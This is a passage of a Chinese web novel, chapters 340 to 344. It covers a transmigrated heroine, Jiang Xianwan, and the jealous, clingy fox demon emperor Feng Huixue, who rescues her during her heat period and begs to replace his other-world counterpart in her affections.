那哭声,宛如一记记重力,砸在心口,风回雪浑身战栗着,源于灵魂深处的后怕,将他整个人撕裂。 双臂如同濒死之人抓住浮木般,一寸寸收拢,将她死死箍进胸膛,揉入骨血,以此确认真实。 只差一瞬。 只差一瞬,便是万劫不复的灭顶之灾。 他湿透的脸颊深深埋进她颈侧的发丝间,呼吸极度紊乱而急促,一声声低哑的呢喃,破碎得难以辨认。 不知是在安抚她,还是在绝望地试图稳住自己崩溃的心神。 亦或者,以此去感受她的体温和脉搏的跳动。 “我在……” “我在……” “别怕……” “我在这里……” 他一遍又一遍的回应,不曾停歇。 颤抖的声线里,有一种奇异的柔软。 却也更像彻骨寒冬,带着一种心脏被冰刃碾过的刺痛与寒意。 微微佝偻的肩线和每一次吸气时胸腔不自然的起伏,都泄露了那几乎要将他压垮的惊悸。 风回雪力度失控的将她箍紧,瞳孔仍不受控制地骤缩,紧盯着虚空中的某一点,仿佛那致命的威胁仍未离去。 急促而浅薄的吸气声,每一次呼吸都带着劫后余生的剧烈颤抖。 任由她将满面的泪水和湖水,尽数蹭在他颈间的肌肤上。 那一点湿意和鼻尖浓郁的媚香,终于将他从万劫不复的恐慌边缘拉扯回一丝神智。 便是这一丝清明,让他骤然察觉到了不对劲。 她是炉鼎。 此刻正是春潮期汹涌反噬之时! 而他,竟然那样转身走掉……留她一人! 这个认知像一把淬毒的冰刃,瞬间刺穿了他所有强撑的镇定。 “为什么不同我说!”他猛地低吼出声,声音里浸透着崩溃的沙哑,像是受伤野兽的哀鸣,“你知不知道……你差点就死了!” 话一出口,是连他自己都惊愕的后怕与惊惶。 他若没有回头…… 他若晚来一步…… 他甚至不敢想,不敢想那万劫不复的可能。 一滴滴滚烫的泪从下颌滑落,风回雪喉间溢出哽咽的模糊粗喘声。 遵循着最原始的本能,双臂死死收拢,将她彻底嵌入自己的骨血之中,再无分离的可能。 “为何……不留我……” “你知不知道,我方才……有多怕……” 他溃不成军的嘶哑嗓音猛地一滞,整个人瞬间冻结,连呼吸都变得极轻极缓。 又是一声低低的轻唤,便落在了她的耳畔。 “晚晚。” 风回雪忽然屏住了呼吸,整个世界都在这一刻静止,只为等待一个回应。 “唔……” 怀中的少女无意识地收紧环在他颈间的手臂,发出一声带着泣音的、模糊的应和。 这声微弱的回应却像是一道赦令,点燃了他眼中深藏的惊悸。 “晚晚……” 他又唤了一声,声线无法抑制的颤抖,而又奇异糅合了万般失而复得的柔情,仿佛这两个字是唯一能让他锚定现实的咒语。 少女似乎被这持续的呼唤搅扰,又或是被体内的热潮折磨,发出一声更含糊的嘤咛,算是应答。 风回雪不依不饶,紧紧盯着她迷蒙的双眼,目光寸寸描摹,是偏执的紧张。 非要再次确认。 “晚晚?” “唔……” 少女终是难耐地侧过头,将滚烫的脸颊埋入他潮湿的衣襟。 贝齿无意识地狠咬住自己的指节,试图抵御那蚀骨的躁动,身体不自觉地向他贴近,发出幼兽般的轻蹭与呜咽。 “风……” “回雪……” 风回雪深深地垂着头,剧烈晃动的目光一遍遍描摹过她的眉眼,烙进灵魂里。 下一瞬,他猛地将自己埋入她的颈窝,滚烫的泪水与劫后余生的低笑混乱地交织在一起,又哭又笑。 最终化作再也无法压抑的破碎嘶喊。 那声音里浸满了毁灭的恐惧和失而复得的狂喜。 一声声,缠绕着她的名字。 “晚晚……” “晚晚……” “江献晚。” 第 340 章 负责 四日过去,江献晚表情麻木,眸光死寂,将身上缠成麻花的绸带,震断。 风回雪眸光欲盖弥彰地巡弋于天地草木之间,看天看水看树,就是不敢看她。 心虚地轻咳一声,红着耳尖。 支支吾吾。 “谁让你太那个了……” “我才……那个的……” 江献晚:“……” 沉默片刻。 她哪个? 他就非得那个? 她倒是想走,他倒是先把手撒开啊! 死活不撒就算了。 自个还跟个正人君子似的,贴心的将她……捆成了一个粽子! 捆成粽子也……勉强没问题。 问题是,为什么不把她扔远一点! 不扔就算了,他做了什么? 她多少回凭借着超强的意志,试图从他腿上滑下来,离他远些。 他倒好。 她滑。 他捞。 她滑。 他捞。 涮毛肚还得七上八下呢,她那是一下都没能滑下去! 就非得放在他自个腿上,瞪着俩眼珠子,看着她咕涌的跟个被火烧了屁股的毛毛虫! 她扭的……都特么累了。 面对这样一张朝思暮想的脸蛋,神智还不清,她是冲动了一把又一把,无数次,都想……上了。 他呢? 比她反应还要大。 搞得陷在春潮期的是他一般,跟着她一起……痛苦的死去活来。 多少次,险些……也没遭住。 就这,咬着牙都不肯松开一点点! 虽没有做出进一步举动,可浮浮沉沉的水中,亲密的坐姿,哪里又是正经的样子。 两个都憋疯了。 一个想逃,一个不给逃。 她外裳轻薄,风回雪的衣裳也凌乱的敞着,更是无形中在大火上泼了一锅油。 差点没把她烧死。 渡劫的春潮期本就难忍,她这几日就跟个疯子似的,哭成狗不说。 又抓又挠,不知在他身上抓出多少指甲印,有两下还挠在了他的脸上。 死狐狸白皙面颊上顶着两道抓痕,一边紧紧的抱着她反驳,一边紧张的哄她忍耐一下……一边趴在她耳边闷哼不止。 这他妈是人能干出来的事? 不。 这特么是狐狸能干出的事! 江献晚蔫蔫的耷拉着睫毛,眼底不被窥见处……却是难以言喻的迷惘。 纵然顶着一张脸,眼前人是风回雪不假,可她并不想和他发生什么,做出越界的亲昵举动。 她只想要,她的狐狸。 可面前这个风回雪显然不这么想。 想到这里,江献晚欲要起身,风回雪眼疾手快,手臂一揽,修长指骨轻轻压了她的腰肢,重新摁在腿上。 两眼无辜。 “去哪?” 江献晚:“……” 看吧,动作老熟练了。 去哪? 她能去哪? 总不能一直这样抱下去吧? 很明显,后者就是这么想的。 霸道的将人揉进骨血里,下颌自然而然地搭上她单薄的肩,仿佛那是专属他的位置。 而后,那嗓音裹着温热气息拂过她耳畔,委屈的音色低低的。 与狐狸撒泼闹她时,一模一样。 “不许走。” “看了我的身子,吃干抹净想走?江献晚,你有没有心?” 江献晚便愣了。 错愕他是如何得知她的名字,终于想起来四日中,耳边那一声声缠绵悱恻的低哑执着,反复不肯停歇的呢喃。 她眸光几度闪烁,最终凝成一片复杂的情绪。 “你怎么知道我叫江献晚?” 她也没说啊。 两人大眼瞪小眼,风回雪眼睫一抬,怨妇似的瞪了她一眼。 不由分说将她更深地按进怀中,整张脸又黏又软地埋入她颈窝,呼吸热漉漉地洒下。 “不知道,”他声音闷闷,理直气壮里掺着点委屈,“这么想就喊出来了。” 不等她反驳,他忽然咬字清晰起来,带着三分恼七分嗔。 “还有,不要转移注意力。江献晚,你要负责。” “不负不成!” 他尾巴都给她摸过了,身子也被看了底朝天,腿也被她坐了……那处也…… 凭什么不负责! 那晚被江献晚斩断灵契,他离开后越想越委屈,越想越后悔,便气鼓鼓的折返去寻她讨要说法。 见湖中无人,以为她拍拍屁股跑了,正咬牙切齿准备通知所有的妖抓她,听到湖底细微的异动才察觉不对。 直至此刻,那日几乎错失的后怕仍如冰刺扎进心底,叫他手臂不自觉地收得更紧。 不断的轻蹭着那截颈子,语调闷软,耍无赖。 “我不管,你要负责。” 江献晚沉默一瞬,眼眸深深,声音低而清晰,“你不是要跟林轻染成婚?” 话音落下,风回雪贴在她颈侧的呼吸几不可察地一滞,下颌微微绷紧。 不被窥见的眼底,翻涌起素日惯有的阴鸷与深浓戾气。 他阖了阖眼帘,再睁开时,那些骇人的情绪已被尽数压下,一丝痕迹也未露出。 不愿让她看见自己这般不堪的模样。 最终,只从喉间发出一声低低的哼唧,像是委屈,又像是执拗的回避。 “谁要跟她成婚。” 顿了顿。 耍赖般地在她颈间胡乱一个劲儿蹭。 “只有你看过我,摸过我,还……还……我不管!你负责,你负责。” 大婚。 何来什么大婚? 可笑至极。 倒不如说……是他们的死期。 倘若不是为了天下苍生,为了护住身后万千无辜生灵。 他何须如此隐忍,甘愿声名狼藉,被那邪物操纵于指掌之间。 可如今。 他连这表面的假象,也一刻不愿再维持。 他不愿。 不愿顶着这个污秽不堪的名头,成为横亘在他与江献晚之间的隔阂。 更不愿因此惹她蹙一下眉,伤一分心。 他的想法与云为泽他们不同。 既然终局已定,横竖皆是一死……将死之人,又何须委屈自己,顶着那令人作呕的所谓“皇夫”名衔? 他想与她……渡过一段,或许算得上,偷来的时光。 只是有一事,像根细而冷的针,现下扎在他心底,叫他无端恐慌。 江献晚因何会来到这个尘世…… 她想做什么…… 她的剑锋所向,分明是林轻染与那邪物。 否则,又怎会在两境三域的信道中,说出那般挑衅的话语? 只是一想,他便无法心安。 放在眼皮子下,藏起来,他才能放心做他的事。 她兴许,便能安然无虞的,回到那个属于她的尘世。 第 341 章 自己嫌弃自己 江献晚:“……” 她负什么责? 她拿什么负责? 信不信另一个世界的狐狸知道了,一定会来咬死她! 再……咬死‘他’! 江献晚睫羽微垂,如鸦羽般敛下,掩住眸中流转的复杂心绪。 她并未觉得欣喜。 相反。 她在后悔。 后悔招惹这个尘世里的他们,而不是想其他办法阻止大婚,杀了林轻染。 待她做完这些,不得不离去,残忍地将他们留下…… 只是一想,便于心不忍。 风回雪垂眼凝视着腿上明显走神的人,眸光有些黯淡。 他喉间发苦,强自压下翻涌的酸涩,只当作全然看不懂她眼底的游移与退却。 双手握上她的肩,一晃,又是炸毛。 “你这是什么表情?什么反应?什么意思?” 他越说越气恼。 越说眼越红。 “江献晚!你想不认账?” “我告诉你,你今日若不点头。”他头颅压低,鼻尖抵上她的鼻尖,凶巴巴道:“我就咬死你!” 凭什么! 他这几日因她失了多少元阳,什么狼狈失态的一面都被她看去了! 凭什么凤仪云为泽可以坠上铃铛花,帝隐也可以,偏偏就他不行? 风回雪越想越破防,低头在她颈侧不轻不重地咬了一口。 齿尖抵着那软腻的肌肤,含糊的嗓音里浸透委屈与控诉。 “你混蛋!” “坏女人!” 江献晚:“……” 那一点细微的痛意泛开,带出几分痒。 她绷紧身体,不适地抬手推他。 “别胡闹。” 任两个风回雪如何一样,她只想要她的风回雪。 她早晚也要离开的,又该如何对这个世界的他负责。 江献晚心中矛盾至极,身子本能向后微倾,再度试图拉开彼此的距离。 唇瓣轻抿,难以迎视那样一双眼睛,声音低微却清晰。 “我们,不认识。” 风回雪一怔,像是被这句话刺伤,箍在她腰间的指节一根一根地松开。 脸色霎时褪得雪白,连唇上也失了颜色。 他眼底翻涌着难以置信的痛楚,声线哑得厉害。 “若不认识……我怎会叫得出你的名字?” 继而,剖开什么似的逼问,字字都沾着伤。 “若不认识,又为何那般唤我?” 他说着,一双风情流转的狐狸眼渐渐泛红,眸中雾气氤氲。 执拗地望着她,颤声问,“江献晚……你要抵赖?” 江献晚被那双眸灼的心口疼痛难忍,狼狈的偏开视线,“我,我有喜欢的人。” 只是,那是另一个世界的你。 风回雪微怔,眼底掠过一丝黯然。 下一刻,他忽然俯身,捉住她纤细的足踝。 “是……他们么?” 确切的说。 是另一个尘世的他们。 四日,足以让他察觉她足踝上系着的三枚铃铛。 当那三声清脆却微妙各异的铃音撞入耳中。 只一眼,滔天的妒意便如业火焚原,顷刻将他所有理智烧作灰烬。 没有人会知道,当那三枚铃铛闯入视线时,万千猜测洞穿他的肺腑。 他只能咬着牙关,赤红着一双眼,险些将这三枚碍眼的铃铛震为齑粉。 又或者……坠上一朵属于自己的铃铛花。 可他知道……江献晚不会愿意。 终究强撑着回过神,指节绷得惨白,最后只化作一声压抑至极的喘息。 他是妖帝,自然清楚凤仪他们的一切动向。 他们身边,从未出现过名为江献晚的女子。 而那三枚刺眼的铃铛,与她那一遍遍分明唤着他、却又仿佛透过他在呼唤另一个人的嗓音,无一不在残忍地印证他心底的猜想。 他便联系了凤仪、云为泽,还有帝隐。 江献晚,是信道中的相见恨晚。 是来自另一个尘世的人。 而在那个属于她的尘世里,帝隐他们三人皆是她的人。 可她明明也一声声唤了他的名字,就算唤的是另一个他。 为何那纤细足踝的锁环上,独独没有属于……哪怕是另一个他的铃铛花? 还是说。 于她而言……凤仪、云为泽、帝隐,才是更重要的存在? 风回雪根本顾不得吃自己的醋,这几日吃的尽是那三人的醋。 还有对另一个‘他’的怒其不争! 甚至很想唾骂怒问,‘他’活着,到底是干什么吃的?! 废物! 连争宠都争不过! 简直丟他的脸! 江献晚:“……” 拉倒吧。 那是争不过? 那又争又抢的,正宫地位,小妾肚量,勾栏的做派。 两眼一睁,就是争抢。 花美人都被他在信道中,阴阳怪气,暗嘲明讽……无数次。 别说。 狐狸狠起来,连自己都骂。 风回雪自然不知道另一个尘世里的他,没叫他失望丁点。 瘪了瘪唇,指尖酸涩地拨弄着那三枚铃铛花,声线沙哑得像是裹满了粗糙的沙砾。 “江献晚……我也是你的人……” 他话音未落,猛然抬起一双泛红的眼帘,眼底水光破碎,每一个字都像是从齿间艰难挤出。 “为什么……唯独没有我的铃铛花?” 那个‘他’,真的这么没用的吗?! 一点都不懂的努力的吗?! 蠢货! 窝囊废! 江献晚:“……” 你对你自己是不是有点什么误解? 为什么? 她能说,另一个尘世的他……还没来得及看到吗? 要是看到,他还不气呼呼的也来坠上一朵? 估计还能把自己那朵,凝的比其他铃铛都要风骚瞩目! 下一瞬,风回雪指尖尚未离开那三枚铃铛,江献晚却骤然色变,本能的猛地拨开他的手指! 动作快得几乎带起风声,一股更为凌厉的灵力自她指尖涌出,毫不留情地碾碎了他试探着缠绕其上的微弱灵丝。 “风回雪!” 她声音陡然拔高,厉色之中泄出一丝连自己都未察觉的惊慌。 话音甫落,便对上了一双忽然抬起的眼…… 那其中汹涌的受伤,和难以置信的痛楚,烫得她心口一缩。 直到这时,她才猛然惊觉,他方才的举动并非真要强行凝铸一枚属于自己的铃铛花。 不过是…… 一次带着忐忑期盼的试探,一次小心翼翼的求证。 求证在她心中,他究竟是不是仅仅作为“他”的一个影子,一个替代而存在。 江献晚呼吸蓦地窒住,整个人如被冰封般僵在他怀中,连指尖都抑制不住地细细颤抖起来。 那股骤然涌上的愧疚和无措,灼得她心口发痛,甚至不敢再去看他泛红的眼睛,狼狈地偏开了面颊。 风回雪沉默着,目光缓慢地从她回避的侧脸移开,失神地低眸看向自己空落落的指尖。 余光里,那三枚颜色各异的铃铛花刺目地摇曳着,无声的嘲弄。 他面上竟没什么表情,只余一片枯寂的空洞。 许久,唇角忽然极缓、极僵硬地牵起一抹弧度,像是浑然未觉她方才的狠心与拒绝。 语气轻飘的脆弱,又染上几分故作轻松的哑意。 “晚晚……” “我……带你回家。” 第 342 章 爱上了 江献晚终究是吃不消风回雪那一套‘一哭二闹三上吊’的戏码,最后还是跟他回了妖都。 她斜倚在座,单手支颐,饶有兴致地打量着两个匆匆来面见妖帝的少年,直将白羽和狼太灰看的,抖翅膀的抖翅膀,抖尾巴的抖尾巴。 还真就别说。 她是一猜一个准。 白羽和狼太灰,也是美人图鉴上的。 就是…… 这个世界的狼太灰在他爹造反失败后,与风回雪关系并不是太好。 恐怕也是林轻染的缘故,才能维持着表面的平和。 她还在狐狸口中得知,他第一次遇到林轻染,她拿了几颗帝休之果,想叫他以身相许。 风回雪当时就觉得很不对,同样没答应。 只是,下一秒,他说自己突然恍惚了一瞬,又接过来了。 这一接,越想越不对。 便命妖暗地里跟上林轻染,直到万古宗。 这才第一次与帝隐有了交集,待联系上他,直截了当,将此事全然告知。 帝隐一眼看出那几颗帝休之果是高仿,自然想到了前些日雾渺为他的徒儿求取这果子一事。 也就是因为此事,他们心中存下了疑影。 风回雪得他手中的帝休之果是假的,倒没厚着脸皮向帝隐再做讨要。 谁知,帝隐这人,嘴虽然跟缝了线似的,私下竟让龙鲤送来了几颗。 北帝尊,心怀大爱。 压根没想过要扩大自家的地盘,趁火打劫。 对他来说,生命面前,众生平等。 江献晚很意外。 没想到,他俩之间,还有这样的交集。 林轻染恐怕自始至终都以为,自己那几颗高仿水果,歪打正着,救了妖帝狐命。 第二次见,便是天狼王造反。 因水果一事,风回雪一直命妖,时刻留意着林轻染的动向。 天狼王造反前夕,林轻染踏上妖域边界,目标明确,直指那座大阵,风回雪便意识到那处阵法出了问题。 调查一番,连夜命妖,暗下改了妖都所有阵法。 除去林轻染守着的那座。 很显然,林轻染再次以为是她及时毁了那处阵法,使得风回雪争权成功。 实则…… 天狼王都把妖晶捏碎了,她才将那处大阵破坏掉。 对此,风回雪还是顺着做了场戏,准备去会会她,看她到底想从自己这里得到什么。 至于非翎为什么会为了林轻染跑到妖域,与风回雪为大打出手。 他就是纯属好奇。 犹记得那日,他闲来无事,心血来潮,带着幽冥去界域的黑森林饭后遛弯,踏青赏花。 很有缘分的碰到了摆造型的林轻染。 他很好奇,这女的为什么能一边给他抛媚眼,还能一边朝幽冥抽搐眼皮。 她觉得他该是有多饿? 幽冥是他一把屎一把尿喂大的,也不能这么饥不择食啊。 她在自信什么? 别说,搔首弄姿的模样,不得丟到花巷去接客啊! 但,非翎忍了。 谁知,正欲离开,他出现了和风回雪相同的情况。 雨里雾里,命幽冥将她带回了魔域。 意识到这诡异的一点,和林轻染看他和幽冥时,志在必得的眼神。 顺势暗里明里说自己喜欢有情调的,还说幽冥喜欢骚的。 就比如……花巷那些女魔。 听到这里,江献晚忍不住在心底给非翎点了个赞。 非翎是什么好人吗? 切大号时,那是一整个邪肆。 谁知道,林轻染为了迎合他俩的喜好,还真去了。 她被调教了三日三夜,眼看天狼王即将造反,非翎在系统的操控下,虽没有对她做出任何进一步亲密些的举动,但,却对她露出了越来越欣赏,越来越满意的神色。 以为非翎在她这儿,已是十拿九稳,加上不想放弃一举攻下风回雪心的大好机会。 便逃出了魔域,来了个不告而别,前往妖域。 非翎还不得着急,主动来追她? 这要是再碰到风回雪,两个再为了她大打出手…… 不过。 先来追她的是一群花巷里的魔,却被街溜子幽冥,不小心创了个底朝天。 林轻染就是这么在幽冥的帮助下,跑的。 江献晚听无语了。 果不其然,非翎不仅追了上去,还……真和风回雪打了起来。 只不过是…… 林轻染眼里让他俩打一架的表情……太明显了。 主要是,他俩都察觉出了林轻染不对劲,和自个遇到林轻染后的不对劲。 思绪回拢,看着眼前好奇打量她的狼太灰,江献晚唏嘘不已,表情有些难以下咽。 谁能想到年少时追风回雪追的死去活来,还想给人家洗脚的小狼,在这个世界竟与风回雪共侍一女? 可真……特么有节目啊! 尤其,这个狼太灰,看起来老成熟了。 成熟的一本正经,直叫人刮目相看。 她忍不住多看了几眼。 就是这几眼,惹的风回雪急了眼。 手里的葡萄气呼呼一扔,也不剥了,掰正她的脸,醋意冲天。 “你看他俩做什么?他们哪里有我好看?” 从他俩一出现,她那俩眼珠子都黏他俩身上了! 坐在她身边的他,算什么? “还有!” 他猛地阴恻恻抬眸,阴恻恻地开口,“再敢看她一眼!信不信把你俩眼珠子抠了!” 白羽:“……?” 狼太灰:“……?” 江献晚咽下口中的葡萄,极力偏脸躲开,“别闹……唔……” 下一秒被气的眼红妖帝捂了嘴,又捂了眼。 “不许看!只能看我!” 他争不过另一个自己,还特么争不过这俩玩意儿么! 白羽:“……” 狼太灰:“……” 他是不是突然得了什么大病?! 平日里不都是沉着一张脸吗? 今天突然带回来一个人族少女不说,还做出这种令妖大跌眼镜的表情和幼稚举动! 不会被鬼上身了吧? 被林轻染操控,也这么犯过病啊。 这边两个若有所思,表情微妙。 另一边,江献晚身子一斜,躲闪的动作,再次惹的风回雪瞬间炸毛。 身体跟着她左闪,右晃,密密实实挡了她的视线,又环上她的腰肢,将人一捞,还不许她跑。 看到他亲密的环上那少女腰肢,下颌抵在她发顶的一刹那,白羽和狼太灰面色齐刷刷又是一变,一致投来扭曲且震惊的目光。 不是。 大婚在即,他找到真爱了? 这么突然的吗? 白羽没忍不住,犹豫道:“帝上,您……” 您真爱上了? 他不是自诩天下第一美,从来看不上任何一个雌的么? 这么草率的吗? 风回雪又是一个侧身,挡了江献晚的视线,掌心覆上她的脑瓜,摁在自个怀中。 神情不悦。 语气不耐。 “滚!你们既然大婚在即,忙自己的便可,无事不要来寻我!” 尤其江献晚在的时候,更别来! 没一点眼力见! 第 343 章 该睡觉了 白羽和狼太灰:“……” 什么叫你们! 你呢? 不结了? 相视一眼,表情难以下咽,瞥了眼正拿宽袖去捂少女脸的妖帝。 顶着后者吃人的目光,一步一回头,磨蹭着离开。 两个难得短暂地冰释前嫌,面面相觑。 狼太灰眉眼暗沉,压低声音道:“你怎么看?” 他虽与风回雪向来不合,可妖域毕竟也是他的家。 这种节骨眼,风回雪突然找到真爱了? 还将人带回来了? 此事若是被林轻染察觉,风回雪恐怕第一个没命,妖域也会乱开。 白羽这回没跟他冷眉竖眼,沉吟片刻,“我们怎么看有什么用?” “他……开心就行。” 什么准皇夫? 不过是个幌子。 想想都不够丢死人的。 十八个男人啊。 尤其彼此间的关系,何止一个乱字了得。 胃口大,够无耻。 自打遇到林轻染,他们一个个,跟被鬼附身也差不多了。 言行颠倒,身不由己。 只能找各种借口,避而远之。 白羽不在乎自己死不死,万事自以妖帝为重,妖域为先。 他也受够了这种身不由己,任人摆布的日子。 难得见到风回雪露出如此毫无戒备的松弛模样,而且,那个少女给他的感觉很是奇异。 就好像…… 她本该出现在这里,天生就是他们家的。 他还能说什么。 心中涌起的,更多是庆幸。 若是有一道光,哪怕短暂,也足矣。 狼太灰有些心不在焉的点点头。 说来奇怪,他刚才看到那个少女,总有种很熟悉的感觉。 当她投来一道一言难尽、他完全读不懂的眼神,他竟没来由地感到……有点羞赧、局促? 狼太灰耳根微微发热,视线游移,顿了顿,“那……我们?” 白羽翻给他一个优雅的白眼,故意曲解他的意思。 “怎么?你该不会真的喜欢上林轻染了吧?” 这话说的可就脏了。 狼太灰立刻觉得自己的狼格,受到了天大的侮辱,像是尾巴尖被人狠狠踩了一下,气的狼耳剧烈一抖。 跳起来,大声喷回去! “你喜欢!你才喜欢!你全家都喜欢!” “死鸟!不会说话,就闭紧你的臭嘴!” 心知肚明的事儿,非要来恶心他! 嘴是……真特么毒啊! 他狼太灰是蠢,但不是瞎! 回旋镖瞬间扎在身上,白羽整个妖都不好了,脸登时臭了下来,看起来恶心的快要吐了。 两只翅膀激动的直哆嗦,一个大跨步猛冲上前,几乎怼他脸上。 “你喜欢!你喜欢!你全家都喜欢!” “想打架?!” “呵。”狼太灰一撸袖子,冷笑一声,“来啊!打就打!是谁先说的脏话?” “你以为你比我好到哪儿去?你这个嘴臭的死鸟!” “滚!”白羽一翅膀将他扇开,无不烦躁,“谁有功夫跟你打架。” “还不是你先提的!” 光是听到这个名字,他都烦的好吧! 白羽低头拿指尖轻轻梳了几下有些凌乱的白色羽毛,忽然神色一正,沉声道:“此事绝不可让林轻染察觉。” 以她那般阴暗的性子,她得不到的,宁肯毁了,也不会让别人得到。 狼太灰深知林轻染的秉性,神色当即凝重了几分,顾不得再跟他吵,“我这就去吩咐侍奉在侧的妖侍,把嘴巴都闭紧。” 白羽满意地瞥了他一眼,“晚些时候,我再去探探帝上的口风。” 另一边。 面对气的双手叉腰,凶巴巴瞪她的狐狸,江献晚无奈的解释,“我只是有点好奇林轻染这些男人,没想什么。” 她多看两眼怎么了。 风回雪哪里肯信,巨大的危机感让他片刻都坐不住,“江献晚,你猜我信不信?别以为我看不出来,你肯定认识他们两个吧?” 他越说越慌,越说越绝望。 “别告诉我,白羽和狼太灰……也是你的……男人!” 他总觉得……江献晚身边,不止这几个男人。 “你该不会……有十八个男人吧?” 毕竟,她可是在信道中放话:林轻染能娶到一个算她输! 一想到很有这个可能,风回雪……有些遭不住。 整个人都不好了。 江献晚:“……” 她敢有十八个吗? 别说狐狸还不跟她闹死,单是花美人和云为泽那两个小肚鸡肠、醋劲十足的兄弟,指定不会放过她。 不过。 就是真给她十八个,她也不敢要。 真的。 她已经能看到她未来,将会过上一种什么样的……苦日子了。 但,她不说。 她要面子。 眼尾轻挑,懒洋洋道:“区区十八个而已,我没问……唔……风回雪!” 她话还没说完,就被他气恼的捂了嘴,抬脚就蹬在他腹部。 谁知这一脚反而把炸毛的狐狸踹爽了,风回雪一双白嫩嫩的狐耳,毫无征兆地颤巍巍蹦出来。 听出江献晚压根没有那么多男人,顿时松了一口大大的气。 他浑不在意腹部的脚印,眼疾手快攥了那截纤细的脚踝,指腹轻轻摩挲两下。 眼睛亮的惊人。 “晚晚……” “再来一下……” 江献晚:“……” 那低哑含欲的嗓音,听得她浑身一激灵。 这被踹爽了,开窍后随时随地情动的模样,实在眼熟。 想到狐狸能把自己难受的哭唧唧,当即扯回脚,不打算再奖励他。 又怕他继续缠,躲闪似的起身回房。 待她看似盘膝打坐,实则神识刚从墓碑中抽出,便无语的对上一张放大的脸。 往后稍仰。 “退远些。” “不要。”风回雪摇头不肯,随即倏然红了脸,眼神飘忽,声音越来越小,“夜深了。” 江献晚:“……” 没说话,静静回以一个“所以呢?”的眼神。 风回雪被她看的耳根发烫,左看右看,就是不直视她。 指尖无意识绞紧衣袖,羞涩提醒。 “该,该睡觉了。” 江献晚:“……” 睡觉就睡觉,你脸红什么? 一种不妙的预感窜上心头,江献晚微微绷直脊背,警惕地瞥了他一眼。 试探地开口。 “你……睡啊。” 没说不让你睡啊。 话音未落,狐狸眸子倏尔一亮,忽然俯身将她从蒲团上打横抱起。 江献晚猝不及防,整个人悬空而起,下意识攥住他衣襟。 而后者。 脚步轻快而雀跃,三两步行至榻前,小心翼翼将她轻轻搁在里侧。 自己则……丝滑的躺到了外侧。 还不忘顺手扯过锦被,嗓音羞涩。 “睡吧。” 第 344 章 我是谁 江献晚:“……” 好一连串行云流水、毫不迟疑的动作…… 开窍的狐狸真可怕。 她哪敢跟他同榻而眠,当即一个激灵就要弹坐起身。 “我不困!” 笑话! 谁知道躺着躺着……会不会躺出一窝狐狸崽子! 相信狐狸能忍住一点,还不如相信太阳明早打西边出来。 她强作镇定,试图从他身上跨过,动作却泄露了几分仓促。 就在即将脱身的一刹,小腿蓦然一紧。 一条蓬松雪白的狐尾倏地缠了上来,温柔地将她往回一拽。 与此同时,另外八条尾巴同时绽出,如雪浪排空,顷刻封住所有去路。 江献晚猝不及防,被他带回榻上,借力旋身一滚,衣袂飘飞间,堪堪跌回内侧,未触及他半分衣角。 猝不及防,江献晚以一种奇异的姿势,往内侧一滚,丝毫未沾到他的寸片衣裳。 青丝散乱,裙裾铺开,她抬眸时眉眼已凝起清晰的抗拒,声音里压着一丝不易察觉的轻颤。 “别闹了!” 那几日的亲密已是让她不知所措,她不该与这个世界的风回雪如此纠缠。 哪怕他们一模一样,终究不是同一个。 不是她的那只狐狸。 风回雪微愣,瑰丽的面容上掠过一丝错愕,绯色的唇轻轻抿起,像是要将某种情绪努力压回心底。 “为什么?” 他声线低沉,融进昏惑的光线里。 那双惯常含情的眸子里清晰地映出失落,眼尾微微垂下,连带着声音也染上些许涩意。 “同我回来,就这么不开心吗?” 还是说。 看见他,而并不是‘他’,才不开心? 江献晚沉默了片刻,目光微微垂下,纤长的睫毛在眼睑投下浅影。 她无意识地抬手拨开肩头的乌发,指尖在发梢停留了一瞬。 声音轻得几乎听不清。 “并无。” “你明明就有!”风回雪的声音微微扬起,不依不饶,带着一丝难以压抑的委屈。 她偏过头,仍旧不肯看他,只是低声重复,“没有。” 她只是不知道该怎么对他。 他们委屈的样子别无二致。 微微抿起的唇,轻颤的眼睫,还有那双总是含情的眼眸黯淡失落的样子。 每每如此,总叫她心头莫名一软,几乎要伸出手去,却又硬生生止住。 江献晚眼底情绪翻涌,眸光渐渐恍惚失焦,指尖收紧,攥皱了袖口的衣料。 她来到这里,已有半月之久,天道再未现身。 墓碑里沉睡的双生子,压的她喘不过气。 她若不能完成天道给的任务,双生子便……再也不会醒来。 她想让他们活。 她必须让他们活。 原以为帝隐他们是心甘情愿与林轻染成婚,如今这般情况,虽让她心头松缓,却也叫她更添几分茫然无措。 她该怎么办? 她要怎么做? 每当面前的男人用那双熟悉的眼眸望过来,带着试探、委屈、和不易察见的期待,她的心就像被什么猛地一刺。 又总忍不住想她的风回雪。 她所有的反应,风回雪尽收眼底。 他浑身肌肉倏然绷紧,指节死死攥入掌心,几乎掐出深痕。 猛地垂下视线,复又抬起,目光如烈火灼灼,直直撞入她恍惚的眼底。 又是这种目光。 她明明在看他,可那眼神却穿透他的骨血,在努力描摹另一个与他一样的轮廓。 愿意同他回来,也只是因为……他与‘他’,一模一样吗? 风回雪一颗七窍玲珑心,如何分辨不出。 他强咽下满腹翻涌的酸楚,却终究没能压住那脱口而出的颤抖。 “你看着我的时候……心里想的,是谁?” 江献晚指尖一颤,蓦地抬眸,直直撞进那双泫然欲泣的狐狸眼里。 风回雪歪着头,努力朝她挤出一个破碎的笑。 可那双总是流转含情的眼眸却迅速洇开一片绯色,水光氤氲,下一秒便要承不住泪意潸然滑落。 他声音低颤,一字一字,执拗地追问,像濒死之人索求最后一句真实。 “江献晚……我是谁?” 他抬手,指尖颤抖地指向自己的脸,语气近乎哀求,又带着一丝绝望的指控。 “告诉我……看着这张脸的时候,你心里想的……是谁?” “你爱他……那我呢?” 汹涌的情绪终于溃堤。 他蓦地轻轻捉住她的手腕,声音嘶哑陡然拔高,带着哭腔的质问如刀刃般撕裂了寂静。 “我也是他……” “我也是……你的啊!” 望着他眼中坠落的盈盈水光,江献晚唇线抿得发白,所有言语都哽在喉间。 就在这时,“轰”地一声,不轻不重的推门声乍响,拦下江献晚即将抬起的指尖。 风回雪几乎是瞬间挥袖,雪色绡纱拂落间,他面上所有脆弱与哀求顷刻褪尽,只剩一片冰冷的艳色。 侧了身,严严实实地将江献晚挡在身后。 再开口时,声音里淬着骇人的狠戾,将那被打断的暴怒与所有无处宣泄的痛苦,尽数算在了来人头上。 “非翎,你他妈是真的贱!” 江献晚:“……” 非翎? 来人面若桃瓣,肤光胜雪,猩红的衣袍如同浸染着血与欲,紧束出他劲瘦的腰身与修长有力的双腿。 正是少年版非翎。 非翎一挥袖便轰开了寝殿大门,此刻悠然举步,闲散得仿佛漫步于自家后花园。 在离床榻三米处停下,腰身懒懒抵在桌案边。 